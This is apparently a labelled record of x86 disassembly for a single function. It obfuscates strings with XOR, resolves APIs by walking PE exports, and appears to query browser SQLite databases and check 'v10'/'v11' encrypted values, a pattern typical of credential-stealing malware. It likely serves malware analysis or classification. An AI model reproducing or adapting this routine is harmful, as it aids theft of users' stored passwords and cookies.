Function at 0x411015
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1cc
push ebx
push ebp
push esi
push edi
mov esi, edx
mov dword [esp + 0xf0], ecx
xor ebx, ebx
mov dword [esp + 0x70], esi
push 0x3b
mov dword [esp + 0x1c], 0x97aea760
mov ecx, ebx
mov dword [esp + 0x20], 0x5b9da092
mov edi, 0xff
mov dword [esp + 0x24], 0x9caf9c7f
pop edx
movzx eax, byte [esp + ecx + 0x18]
sub ax, dx
and ax, di
mov word [esp + ecx*2 + 0x138], ax
inc ecx
cmp ecx, 0xc
jl 0x411050
xor eax, eax
mov word [esp + 0x150], ax
imul eax, dword [0x42c8dc], 0xb2ac7e88
mov dword [0x42c8e0], eax
mov eax, 0xcdaf
or word [0x42c8cc], ax
call fcn.00420668
mov edx, dword [0x42c8ac]
mov ebp, eax
movzx eax, byte [0x42c8e4]
lea ecx, [edx + 0x17f6]
and edx, 0x47cc8e12
add edx, 0x344a745e
mov word [0x42c8fc], cx
mov dword [0x42c8b0], edx
test ebp, ebp
jne 0x411100
sub eax, 0x24fddb48
mov ecx, 0x37ff
xor eax, 0xddd7b37a
and eax, 0xa2b8cc85
mov dword [0x42c8b0], eax
mov ax, word [0x42c8cc]
or ax, cx
mov word [0x42c8cc], ax
movzx eax, ax
imul eax, eax, 0x77c45146
mov dword [0x42c8ac], eax
jmp 0x4122d8
xor eax, 0x1ae075ea
mov dword [0x42c8ac], eax
lea eax, [esp + 0x138]
push esi
push eax
call fcn.004233ac
movzx edx, byte [0x42c8e4]
mov esi, eax
pop ecx
pop ecx
mov ecx, dword [0x42c8ac]
add edx, 0xfc25064a
or ecx, 0x37b6f1a8
mov dword [esp + 0x114], esi
mov dword [0x42c8e0], ecx
movzx ecx, word [0x42c8cc]
add ecx, 0xfffdf880
mov dword [0x42c8b0], edx
mov dword [0x42c8dc], ecx
test esi, esi
je 0x4122d8
imul eax, ecx, 0x938474a
xor edx, 0x7b35a75c
mov dword [0x42c8e0], edx
mov dword [0x42c8ac], eax
lea eax, [ecx - 0x5e2e]
movzx ecx, byte [0x42c8e4]
mov word [0x42c8cc], ax
mov eax, 0x5b13
imul ecx, eax
mov word [0x42c8fc], cx
mov ecx, esi
call fcn.0042355e
mov ecx, dword [0x42c8b0]
mov edi, eax
add ecx, 0x20d4
mov dword [esp + 0x110], edi
mov word [0x42c8cc], cx
movzx ecx, cx
and ecx, 0xf80bfa9a
mov dword [0x42c8ac], ecx
test edi, edi
je 0x4122b6
movzx ecx, word [0x42c8e0]
xor edx, edx
imul eax, ecx, 0x951d
mov word [0x42c8cc], ax
lea eax, [ecx - 0x6b84]
movzx ecx, byte [0x42c8e4]
mov word [0x42c8fc], ax
mov eax, ecx
or ecx, 0x5ed006c8
xor eax, 0x3a502aff
mov dword [0x42c8dc], ecx
mov ecx, edi
mov dword [0x42c8b0], eax
call fcn.00423df5
mov dx, word [0x42c8cc]
mov esi, dword [0x42c8dc]
xor esi, 0x992d998f
mov dword [esp + 0xf4], eax
mov dword [0x42c8dc], esi
lea ecx, [edx + 0x25]
mov byte [0x42c8e4], cl
test eax, eax
je 0x41225c
movzx eax, word [0x42c8fc]
mov cx, dx
sub eax, 0x2bf0869b
mov dword [0x42c8e0], eax
mov eax, 0x179b
sub cx, ax
mov al, dl
or al, 0x3f
mov word [0x42c8fc], cx
mov byte [0x42c8e4], al
movzx eax, dx
xor eax, 0x678d7a94
mov dword [0x42c8ac], eax
or eax, 0x3b198dc2
mov dword [0x42c8b0], eax
movzx eax, cx
imul eax, eax, 0xb33b16e5
push ebx
push 1
mov dword [0x42c8dc], eax
lea eax, [esp + 0xf4]
push eax
push dword [esp + 0x100]
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x41220d
mov dword [esp + 0x88], 0x1c151c0a
mov ecx, ebx
mov dword [esp + 0x8c], 0x3c790d1a
mov dword [esp + 0x90], 0x2b302921
mov dword [esp + 0x94], 0x36302d38
mov dword [esp + 0x98], 0x36340637
mov dword [esp + 0x9c], 0x75312d37
mov dword [esp + 0xa0], 0x29213c79
mov dword [esp + 0xa4], 0x2d382b30
mov dword [esp + 0xa8], 0x6373630
mov dword [esp + 0xac], 0x2b383c20
mov dword [esp + 0xb0], 0x38377975
mov dword [esp + 0xb4], 0x36063c34
mov dword [esp + 0xb8], 0x383a0637
mov dword [esp + 0xbc], 0x79753d2b
mov dword [esp + 0xc0], 0x3d2b383a
mov dword [esp + 0xc4], 0x342c3706
mov dword [esp + 0xc8], 0x62b3c3b
mov dword [esp + 0xcc], 0x2b3a373c
mov dword [esp + 0xd0], 0x3c2d2920
mov dword [esp + 0xd4], 0xb1f793d
mov dword [esp + 0xd8], 0x3a791416
mov dword [esp + 0xdc], 0x303d3c2b
mov dword [esp + 0xe0], 0x383a062d
mov word [esp + 0xe4], 0x3d2b
mov byte [esp + 0xe6], 0x2a
mov al, byte [esp + ecx + 0x88]
xor al, 0x59
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x5f
jl 0x4113d0
mov byte [esp + 0x1d7], bl
mov eax, ebx
mov dword [esp + 0x28], 0x1811180e
mov dword [esp + 0x2c], 0x337d091e
mov dword [esp + 0x30], 0x7138303c
mov dword [esp + 0x34], 0x313c2b7d
mov dword [esp + 0x38], 0x1b7d3828
mov dword [esp + 0x3c], 0x7d10120f
mov dword [esp + 0x40], 0x3229283c
mov dword [esp + 0x44], 0x3131343b
movups xmm0, xmmword [esp + eax + 0x28]
pxor xmm0, xmmword [0x429ff0]
movups xmmword [esp + eax + 0x154], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x41142f
movzx ecx, word [0x42c8e0]
sub dword [0x42c8b0], 0x4d6cba95
push ebx
mov byte [esp + 0x178], bl
lea eax, [ecx - 0x6c69]
xor ecx, 0xd6d2
mov word [0x42c8cc], ax
lea eax, [esp + 0x18]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x184]
mov word [0x42c8fc], cx
push eax
push dword [esp + 0xfc]
call dword [ebp + 8]
add esp, 0x14
mov dword [esp + 0x10c], 0x2f
test eax, eax
jne 0x411dd1
mov eax, dword [0x42c8dc]
lea edi, [esp + 0x18]
movzx edx, byte [0x42c8e4]
and eax, 0xa6c
mov word [0x42c8fc], ax
mov ecx, 0x19e8
push dword [esp + 0x14]
lea eax, [edx + 0x311410c5]
and edx, 0x59a576a4
mov dword [0x42c8b0], eax
imul eax, dword [0x42c8e0], 0x73a2
sub ecx, eax
xor eax, eax
stosd dword es:[edi], eax
mov word [0x42c8cc], cx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x42c8ac]
add eax, 0xc7b4cba5
mov dword [0x42c8ac], edx
mov dword [0x42c8dc], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411a2b
mov dword [esp + 0x78], 0x3d454821
mov dword [esp + 0x7c], 0xf9134b3e
mov dword [esp + 0x80], 0xb391d8df
mov dword [esp + 0x84], 0xf2e8b6a0
mov dword [esp + 0x50], 0x262e4d5b
mov dword [esp + 0x54], 0x6c33243f
mov byte [esp + 0x58], 0x76
mov ecx, ebx
mov al, byte [esp + ecx + 0x78]
add al, 0x27
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 8
jl 0x411559
mov byte [esp + 0x128], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x80]
xor al, 0xd2
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 8
jl 0x411575
mov byte [esp + 0x134], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x50]
xor al, 0x56
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 9
jl 0x411594
push 0x2f
pop eax
mov byte [esp + 0x109], bl
mov ecx, ebx
mov byte [esp + 0x24], al
mov byte [esp + 0x25], bl
mov dword [esp + 0x5c], 0x9093e39
mov dword [esp + 0x60], 0x9090909
mov dword [esp + 0x64], 0x9090909
mov dword [esp + 0x68], 0x9090909
mov word [esp + 0x6c], 0x3909
mov byte [esp + 0x6e], 0x3e
mov al, byte [esp + ecx + 0x5c]
xor al, 0x34
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 0x13
jl 0x4115e7
movzx eax, byte [0x42c8e0]
lea edx, [esp + 0x120]
imul eax, eax, 0x59
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov byte [esp + 0x3f], bl
mov byte [0x42c8e4], al
mov eax, dword [0x42c8dc]
xor eax, 0xceded6c0
mov dword [0x42c8ac], eax
imul eax, dword [0x42c8b0], 0x69bf7e19
mov dword [0x42c8b0], eax
call fcn.00423d47
pop ecx
mov eax, 0x9301
add word [0x42c8fc], ax
mov eax, dword [0x42c8ac]
push 2
push dword [esp + 0x18]
add eax, 0x60f0a02a
mov dword [0x42c8dc], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423d47
mov eax, dword [0x42c8ac]
lea edx, [esp + 0x130]
add eax, 0x5ccb
mov word [0x42c8cc], ax
mov eax, dword [0x42c8dc]
pop ecx
xor eax, 0xfed106ae
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov dword [0x42c8b0], eax
call fcn.00423d47
movzx eax, word [0x42c8cc]
pop ecx
push 3
push dword [esp + 0x18]
or eax, 0xe89f33d3
mov dword [0x42c8b0], eax
call dword [ebp + 0x14]
pop ecx
pop ecx
movzx ecx, byte [0x42c8fc]
mov esi, eax
imul ecx, ecx, 0x29
mov byte [0x42c8e4], cl
test esi, esi
je 0x4118f6
mov ecx, dword [0x42c8dc]
sub ecx, 0x7e32feb2
mov dword [0x42c8dc], ecx
xor ecx, 0x9c89b040
mov dword [0x42c8ac], ecx
or ecx, 0xd2619d2c
push 3
push dword [esp + 0x18]
mov dword [0x42c8b0], ecx
call dword [ebp + 0x20]
pop ecx
pop ecx
mov ecx, dword [0x42c8b0]
mov edx, eax
add ecx, 0xc9ca4783
cmp byte [esi], 0x76
mov dword [0x42c8e0], ecx
jne 0x411821
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x411821
cmp byte [eax], 0x30
je 0x41174e
cmp byte [eax], 0x31
jne 0x411821
movzx eax, byte [0x42c8e4]
mov ecx, esi
sub eax, 0x6c27d7cf
mov dword [0x42c8b0], eax
mov al, byte [0x42c8dc]
and al, 0xdb
mov byte [0x42c8e4], al
movzx eax, word [0x42c8cc]
and eax, 0x443d20de
mov dword [0x42c8ac], eax
lea eax, [esp + 0x48]
push eax
call fcn.0040fa5e
pop ecx
movzx ecx, word [0x42c8cc]
mov esi, eax
xor ecx, 0x5ccabd47
mov eax, 0x60eb
mov dword [0x42c8dc], ecx
mov cx, word [0x42c8fc]
and cx, ax
mov word [0x42c8cc], cx
test esi, esi
je 0x4118f6
mov cl, byte [0x42c8e0]
mov edx, esi
push dword [esp + 0x48]
lea eax, [ecx - 5]
add cl, 0x45
movzx eax, al
and eax, 0xddfc7d5d
mov byte [0x42c8e4], cl
mov dword [0x42c8ac], eax
lea ecx, [esp + 0x1c]
mov eax, dword [0x42c8b0]
add eax, 0x369e
mov word [0x42c8cc], ax
call fcn.00423869
imul eax, dword [0x42c8b0], 0x720c8c2e
pop ecx
push esi
mov dword [0x42c8b0], eax
mov eax, 0x3045
xor word [0x42c8cc], ax
call fcn.004056f0
jmp 0x4118f5
movzx ecx, word [0x42c8fc]
mov eax, 0x3c49
imul ecx, eax
mov edi, 0x3a54
mov dword [esp + 0x118], edx
mov edx, 0xbedfd981
mov dword [esp + 0x11c], esi
movzx ecx, cx
mov eax, ecx
add ecx, 0x290569e
xor eax, 0x660dcaf7
mov dword [0x42c8dc], ecx
mov dword [0x42c8ac], eax
movzx eax, byte [0x42c8e4]
add ax, di
movzx eax, ax
xor eax, 0x9afb78b0
mov dword [0x42c8b0], eax
lea eax, [ecx - 0x7d16]
mov word [0x42c8fc], ax
xor ecx, 0xc4b1d735
and eax, 0x48eb
mov dword [0x42c8e0], ecx
mov word [0x42c8cc], ax
lea eax, [esp + 0xf8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x130]
push eax
push 3
pop ecx
call fcn.00415333
call eax
test eax, eax
je 0x4118f6
push dword [esp + 0xf8]
mov edx, dword [esp + 0x100]
lea ecx, [esp + 0x1c]
mov eax, 0x24f8
xor ax, word [0x42c8cc]
mov word [0x42c8fc], ax
mov al, byte [0x42c8dc]
add al, 0x27
mov byte [0x42c8e4], al
call fcn.00423869
pop ecx
mov eax, dword [0x42c8dc]
lea edx, [esp + 0x100]
xor eax, 0x1b79c320
lea ecx, [esp + 0x18]
mov dword [0x42c8b0], eax
mov eax, 0xcca6
or word [0x42c8fc], ax
mov al, byte [0x42c8ac]
xor al, 0xc4
push 0xffffffffffffffff
mov byte [0x42c8e4], al
call fcn.00423d47
movzx eax, byte [0x42c8e4]
pop ecx
push ebx
push dword [esp + 0x18]
add eax, 0x28b72cfc
mov dword [0x42c8dc], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423d47
imul eax, dword [0x42c8ac], 0x4793df25
lea edx, [esp + 0x28]
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov dword [0x42c8ac], eax
movzx eax, word [0x42c8cc]
add eax, 0xeb1494
mov dword [0x42c8e0], eax
movzx eax, byte [0x42c8e4]
and eax, 0x35265562
mov dword [0x42c8dc], eax
call fcn.00423d47
imul eax, dword [0x42c8dc], 0x3bd310f3
add dword [0x42c8e0], 0x34c5f122
pop ecx
push 1
push dword [esp + 0x18]
mov dword [0x42c8dc], eax
movzx eax, byte [0x42c8cc]
imul eax, eax, 0xdf
mov byte [0x42c8e4], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423d47
mov eax, dword [0x42c8ac]
lea edx, [esp + 0x2c]
and dword [0x42c8e0], 0x1e9528a2
or eax, 0xd7164687
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov dword [0x42c8b0], eax
call fcn.00423d47
pop ecx
push dword [esp + 0x14]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x411557
imul ecx, dword [0x42c8e0], 0xcd01365
mov eax, dword [0x42c8ac]
xor eax, 0xea1
mov word [0x42c8fc], ax
mov dword [0x42c8e0], ecx
cmp dword [esp + 0x18], ebx
je 0x411dd7
mov dword [esp + 0x28], 0x141522f3
mov ecx, ebx
mov dword [esp + 0x2c], 0x11f32419
mov edx, 0xff
mov dword [esp + 0x30], 0xdf231422
mov dword [esp + 0x34], 0xf231cd5
mov dword [esp + 0x38], 0xde231cd5
mov word [esp + 0x3c], 0x2824
mov byte [esp + 0x3e], 0x24
movzx eax, byte [esp + ecx + 0x28]
add ax, 0x50
and ax, dx
mov word [esp + ecx*2 + 0x88], ax
inc ecx
cmp ecx, 0x17
jl 0x411a90
movzx ecx, byte [0x42c8e4]
lea edx, [esp + 0x48]
xor eax, eax
add ecx, 0xdf5a44c9
mov word [esp + 0xb6], ax
movzx eax, cl
imul eax, eax, 0xf
mov dword [0x42c8b0], ecx
mov byte [0x42c8e4], al
movzx eax, word [0x42c8cc]
imul eax, eax, 0x6694ff97
mov dword [0x42c8e0], eax
lea eax, [ecx + 0x62b7ed53]
mov ecx, dword [esp + 0x70]
mov dword [0x42c8dc], eax
call fcn.00414033
mov dl, byte [0x42c8e4]
mov esi, eax
movzx ecx, dl
imul ecx, ecx, 0x2cbf6a2c
mov dword [0x42c8ac], ecx
mov ecx, dword [0x42c8dc]
add ecx, 0x3edf
mov word [0x42c8fc], cx
test esi, esi
je 0x411cf4
mov ax, word [0x42c8cc]
mov ecx, 0x7a65
sub ax, cx
movzx ecx, ax
movzx eax, dl
or ecx, 0xb06ca51e
imul eax, eax, 0xf0
mov edx, 0xd76
mov dword [0x42c8dc], ecx
add cl, 0x49
mov byte [0x42c8e4], cl
mov ecx, esi
movzx eax, al
add ax, dx
mov edx, dword [esp + 0x48]
mov word [0x42c8cc], ax
imul eax, dword [0x42c8b0], 0xf2bc
mov word [0x42c8fc], ax
mov eax, dword [0x42c8e0]
add eax, 0x40aeb73e
mov dword [0x42c8ac], eax
lea eax, [esp + 0x70]
push eax
call fcn.0040fa5e
mov edx, dword [0x42c8b0]
mov edi, eax
mov eax, dword [0x42c8e0]
or edx, 0x9087
add eax, 0x4ec1452b
mov word [0x42c8cc], dx
mov dword [0x42c8b0], eax
pop ecx
test edi, edi
je 0x411ccd
mov dword [esp + 0x48], 0x321c5d5a
mov ecx, ebx
mov word [esp + 0x4c], 0x6d2e
mov byte [esp + 0x4e], 0x77
mov al, byte [esp + ecx + 0x48]
xor al, 0x57
mov byte [esp + ecx + 0xf8], al
inc ecx
cmp ecx, 7
jl 0x411be0
mov byte [esp + 0xff], bl
mov ecx, ebx
mov word [esp + 0x24], 0x7275
mov al, byte [esp + ecx + 0x24]
sub al, 0x68
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 2
jl 0x411c03
imul eax, dword [0x42c8dc], 0xeee9
push 0xffffffffffffffff
mov byte [esp + 0x4e], bl
mov word [0x42c8fc], ax
movzx eax, dl
lea edx, [esp + 0xfc]
imul ecx, eax, 0x25
imul eax, dword [0x42c8e0], 0xa4e1a73e
mov byte [0x42c8e4], cl
mov dword [0x42c8ac], eax
movzx eax, cl
lea ecx, [esp + 0x1c]
imul eax, eax, 0xb040318a
mov dword [0x42c8dc], eax
call fcn.00423d47
movzx eax, word [0x42c8cc]
mov edx, edi
add eax, 0x3504eb1d
mov dword [0x42c8ac], eax
mov al, byte [0x42c8b0]
pop ecx
push dword [esp + 0x70]
add al, 0x6e
lea ecx, [esp + 0x1c]
mov byte [0x42c8e4], al
call fcn.00423869
movzx eax, word [0x42c8fc]
lea edx, [esp + 0x4c]
imul eax, eax, 0x367e45fb
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov dword [0x42c8dc], eax
call fcn.00423d47
mov eax, dword [0x42c8e0]
pop ecx
add eax, 0x2545e5fe
push edi
mov dword [0x42c8dc], eax
call fcn.004056f0
mov eax, dword [0x42c8b0]
pop ecx
add eax, 0xe195e1a7
mov dword [0x42c8e0], eax
imul eax, dword [0x42c8dc], 0x185c2e01
push esi
mov dword [0x42c8b0], eax
call fcn.004056f0
pop ecx
mov cx, word [0x42c8fc]
push dword [esp + 0x1e0]
sub dword [0x42c8b0], 0x2d28ad9e
push dword [esp + 0xf4]
movzx eax, cx
xor eax, 0xae4bfa17
mov dword [0x42c8dc], eax
mov al, byte [0x42c8cc]
add al, 0x70
mov byte [0x42c8e4], al
lea eax, [esp + 0x90]
push eax
call fcn.004233ac
mov ecx, dword [0x42c8b0]
mov esi, eax
add esp, 0xc
lea edx, [ecx + 0xfde]
mov word [0x42c8fc], dx
test esi, esi
je 0x411db2
movzx eax, word [0x42c8cc]
movzx ecx, dx
add eax, 0x54930230
xor ecx, 0xe4d3310c
mov dword [0x42c8b0], eax
and dl, 0xbf
mov dword [0x42c8dc], ecx
mov ecx, dword [esp + 0x18]
add eax, 0xb5f3db76
mov byte [0x42c8e4], dl
mov edx, dword [esp + 0x20]
push esi
mov dword [0x42c8e0], eax
call fcn.0041ea51
movzx eax, byte [0x42c8e4]
pop ecx
mov ecx, 0x5734
add ax, cx
push esi
mov word [0x42c8fc], ax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42c8b0]
push dword [esp + 0x18]
mov eax, ecx
xor cl, 0x79
xor eax, 0x98ecc205
mov byte [0x42c8e4], cl
mov dword [0x42c8dc], eax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42c8e0]
push dword [esp + 0x14]
mov eax, ecx
or eax, 0xceab
mov word [0x42c8cc], ax
lea eax, [ecx + 0x7ae73587]
mov dword [0x42c8dc], eax
call dword [ebp + 0x18]
movzx eax, byte [0x42c8e4]
pop ecx
mov ecx, 0x492e
sub ax, cx
mov word [0x42c8cc], ax
lea eax, [esp + 0x14]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x160]
push eax
push dword [esp + 0xfc]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x4121d9
mov edx, dword [0x42c8e0]
lea edi, [esp + 0x18]
mov cl, byte [0x42c8cc]
mov eax, edx
xor eax, 0xea9b6b19
xor cl, 0x9f
mov dword [0x42c8dc], eax
mov esi, 0xa4a1
push dword [esp + 0x14]
movzx eax, cl
xor edx, 0xa1e7e4ec
and ax, si
mov byte [0x42c8e4], cl
mov word [0x42c8cc], ax
movzx eax, cl
imul eax, eax, 0xe5df5620
mov dword [0x42c8ac], edx
and eax, 0x33fc6e73
mov dword [0x42c8b0], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41205c
mov dword [esp + 0x70], 0x434b4768
mov word [esp + 0x74], 0x61c
mov dword [esp + 0x50], 0xe6d18d8a
mov dword [esp + 0x54], 0xbde2f2eb
mov byte [esp + 0x58], 0xa7
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
xor al, 0x26
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 6
jl 0x411ec2
mov byte [esp + 0x4e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x50]
xor al, 0x87
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 9
jl 0x411ed8
mov byte [esp + 0x109], bl
mov ecx, ebx
mov dword [esp + 0x5c], 0xc2c28f92
mov dword [esp + 0x60], 0xc2c2c2c2
mov dword [esp + 0x64], 0xc2c2c2c2
mov dword [esp + 0x68], 0xc2c2c2c2
mov word [esp + 0x6c], 0x92c2
mov byte [esp + 0x6e], 0x8f
mov al, byte [esp + ecx + 0x5c]
add al, 0x7b
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 0x13
jl 0x411f20
mov eax, dword [0x42c8dc]
lea edx, [esp + 0x48]
imul ecx, eax, 0x9876
and eax, 0x97878d32
mov dword [0x42c8ac], eax
movzx eax, byte [0x42c8cc]
imul eax, eax, 0x6c
push 0xffffffffffffffff
mov word [0x42c8fc], cx
mov byte [esp + 0x3f], bl
mov byte [0x42c8e4], al
movzx eax, cx
lea ecx, [esp + 0x1c]
sub eax, 0x73b666d9
mov dword [0x42c8e0], eax
call fcn.00423d47
mov al, byte [0x42c8e0]
pop ecx
push ebx
push dword [esp + 0x18]
add al, 0x34
mov byte [0x42c8e4], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423d47
mov eax, dword [0x42c8e0]
lea edx, [esp + 0x104]
pop ecx
and eax, 0x38dcab3a
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov dword [0x42c8b0], eax
call fcn.00423d47
movzx eax, byte [0x42c8e4]
imul eax, eax, 0xba
pop ecx
push 1
push dword [esp + 0x18]
mov byte [0x42c8e4], al
mov eax, dword [0x42c8e0]
add eax, 0x2bfc
mov word [0x42c8fc], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423d47
mov eax, dword [0x42c8dc]
lea edx, [esp + 0x2c]
add dword [0x42c8b0], 0x85bf40d
add eax, 0x684170e6
mov dword [0x42c8e0], eax
movzx eax, word [0x42c8fc]
imul eax, eax, 0x54a40cdb
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov dword [0x42c8ac], eax
call fcn.00423d47
pop ecx
push dword [esp + 0x14]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x411ec0
mov edx, dword [0x42c8e0]
mov esi, dword [0x42c8dc]
or edx, 0xb49369a0
movzx ecx, byte [0x42c8e4]
or esi, 0xb2c4
and ecx, 0x987732e6
mov dword [0x42c8ac], edx
mov word [0x42c8cc], si
mov dword [0x42c8b0], ecx
cmp dword [esp + 0x18], ebx
je 0x4121d9
mov dword [esp + 0x28], 0x40454612
mov edi, 0xff
mov dword [esp + 0x2c], 0x3d3d3a37
mov dword [esp + 0x30], 0x3df60044
mov dword [esp + 0x34], 0x3df63044
mov dword [esp + 0x38], 0x4945ff44
mov byte [esp + 0x3c], 0x45
movzx eax, byte [esp + ebx + 0x28]
add ax, word [esp + 0x10c]
and ax, di
mov word [esp + ebx*2 + 0x88], ax
inc ebx
cmp ebx, 0x15
jl 0x4120d0
push dword [esp + 0x1e0]
xor eax, eax
and ecx, 0x10f08689
push dword [esp + 0xf4]
mov word [esp + 0xba], ax
xor edx, 0x8263cf23
mov eax, 0xe992
mov dword [0x42c8dc], ecx
xor ax, si
mov dword [0x42c8ac], edx
mov word [0x42c8fc], ax
lea eax, [ecx + 0x5f6d5374]
mov dword [0x42c8e0], eax
lea eax, [esp + 0x90]
push eax
call fcn.004233ac
mov edx, dword [0x42c8b0]
mov esi, eax
mov ebx, dword [0x42c8e0]
add esp, 0xc
lea ecx, [edx - 0x5703]
mov word [0x42c8cc], cx
mov cl, bl
and cl, 0x74
mov byte [0x42c8e4], cl
test esi, esi
je 0x4121c3
mov ecx, dword [esp + 0x18]
lea eax, [edx + 0x488c4921]
mov edx, dword [esp + 0x20]
xor ebx, 0x746
mov dword [0x42c8dc], eax
mov eax, dword [0x42c8ac]
add eax, 0xeb10728a
mov word [0x42c8cc], bx
push esi
mov dword [0x42c8b0], eax
call fcn.0041ea51
mov eax, dword [0x42c8ac]
pop ecx
add eax, 0xf1e9b010
push esi
mov dword [0x42c8dc], eax
call fcn.004056f0
mov edx, dword [0x42c8b0]
pop ecx
push dword [esp + 0x18]
xor edx, 0x20cb9eb
mov dword [0x42c8e0], edx
call fcn.004056f0
pop ecx
movzx eax, byte [0x42c8e4]
push dword [esp + 0x14]
xor eax, 0x96d6aff7
add eax, 0x35d5afef
mov dword [0x42c8b0], eax
imul eax, dword [0x42c8dc], 0x2510fb91
mov dword [0x42c8dc], eax
call dword [ebp + 0x18]
mov edi, dword [esp + 0x114]
pop ecx
mov ecx, dword [0x42c8e0]
push dword [esp + 0xec]
imul eax, ecx, 0xefc824d4
add cl, 0x47
mov byte [0x42c8e4], cl
mov dword [0x42c8b0], eax
call dword [ebp + 0x1c]
xor dword [0x42c8b0], 0xd1d13756
pop ecx
push dword [esp + 0xf4]
call fcn.004056f0
mov esi, dword [0x42c8dc]
mov dx, word [0x42c8cc]
pop ecx
mov cl, byte [0x42c8e4]
movzx eax, dx
mov edx, 0x62d87b
add eax, 0x1603d45
mov dword [0x42c8e0], eax
lea eax, [esi + 0x3e8f]
mov word [0x42c8cc], ax
movzx eax, cl
xor ecx, ecx
add eax, 0x37864f30
inc ecx
push edi
mov dword [0x42c8ac], eax
call fcn.00415333
call eax
mov eax, dword [0x42c8b0]
and eax, 0x7317
push edi
mov word [0x42c8cc], ax
call fcn.004056f0
mov esi, dword [esp + 0x118]
pop ecx
mov ecx, dword [0x42c8ac]
mov eax, dword [0x42c8e0]
or eax, 0x82b3a68e
mov dword [0x42c8dc], eax
lea eax, [ecx + 0x315c]
push esi
mov word [0x42c8fc], ax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1cc
ret